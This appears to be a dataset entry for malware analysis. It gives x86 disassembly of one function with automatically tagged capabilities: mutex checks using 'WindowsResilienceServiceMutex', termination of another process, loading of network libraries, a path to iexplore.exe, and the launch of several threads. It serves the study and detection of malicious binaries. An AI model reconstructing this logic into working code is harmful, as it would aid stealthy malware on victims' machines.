Function at 0x403560
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Get common file path
Get program files directory
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403666
push 0x406a88
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x403666
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x14], eax
push 0x40
push 0
lea edx, [ebp - 0x7c]
push edx
call fcn.00401950
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov eax, dword [ebp - 8]
push eax
push str._s_d
lea ecx, [ebp - 0x7c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov edx, 1
test edx, edx
je 0x403666
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40364c
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004011f0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40364a
mov eax, dword [ebp - 4]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xc], eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403666
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4035ce
cmp dword [0x4071cc], 0
je 0x40368d
mov ecx, dword [0x4071cc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
test eax, eax
je 0x40368d
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40366f
cmp dword [0x4071c0], 0
jne 0x4036c7
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.WindowsResilienceServiceMutex
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x4071c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4036c7
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x4071c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x407a8c], eax
push str.IsWow64Process
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x407af8], eax
cmp dword [0x4071c4], 0
jne 0x4037c2
call fcn.004014a0
mov dword [0x407af0], eax
push 0x208
push 0
push 0x4073a0
call fcn.00401950
add esp, 0xc
cmp dword [0x407af0], 1
jne 0x40375b
mov dword [ebp - 4], 0x2a
push 0x4073a0
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x406ae0
push 0x4073a0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x403787
mov dword [ebp - 4], 0x26
push 0x4073a0
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Internet_Exploreriexplore.exe
push 0x4073a0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x407a90], eax
push 0x208
push 0x407840
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x407840
push 0x407620
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
call fcn.00403130
add esp, 4
jmp 0x403838
push 0x406b60
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.urlmon.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.gdi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.rpcrt4.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x1c
push 0
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00401950
add esp, 0xc
push 0x1c
lea edx, [ebp - 0x3c]
push edx
push entry0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov eax, dword [ebp - 0x38]
mov dword [0x407a90], eax
call fcn.00402af0
test eax, eax
jne 0x403846
call fcn.00402bf0
call fcn.00403030
push str.GetLastInputInfo
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x407afc], eax
call fcn.00401420
push 0x9c40
push 8
mov ecx, dword [0x407a8c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x407aec], eax
mov dword [0x407228], 0x9c40
mov dword [0x407a9c], 0
push str.NoProcess
push 0x4071e0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x407a98], 0x124f80
mov dword [0x407a94], 0xb71b00
push 0x18
push 0
push 0x407a60
call fcn.00401950
add esp, 0xc
push 0x407a60
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x407a78], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x407a7c], eax
push 5
push 0x407380
call fcn.004012f0
add esp, 8
push 0xa
push 0
push 0x407370
call fcn.00401950
add esp, 0xc
push 0xa
push 0x407370
push 0x407380
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407380
call fcn.00401550
add esp, 0x10
cmp dword [0x4071d4], 0
jne 0x4039aa
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 1
push 0
push 0x13880
push 0
push 4
lea edx, [ebp - 0x20]
push edx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [0x4071d4], eax
push 0
push 0
push 0
push 6
mov eax, dword [0x4071d4]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x407220], eax
push 0x13880
push 0
mov ecx, dword [0x407220]
push ecx
call fcn.00401950
add esp, 0xc
jmp 0x4039c4
push 0
push 0
push 0
push 6
mov edx, dword [0x4071d4]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x407220], eax
mov dword [0x407224], 0
push 1
call fcn.00403130
add esp, 4
push 0
push 0
push 0
push 0x401130
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 4
push 0x3000
push 0x65000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4071d8], eax
push 0
push 0
push 0
push 0x402420
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403ca0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x407a80], eax
push 0
push 0
push 0
push 0x402e50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x407a88], eax
push 0
push 0
push 0
push 0x403260
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x407a84], eax
call fcn.00402800
mov esp, ebp
pop ebp
ret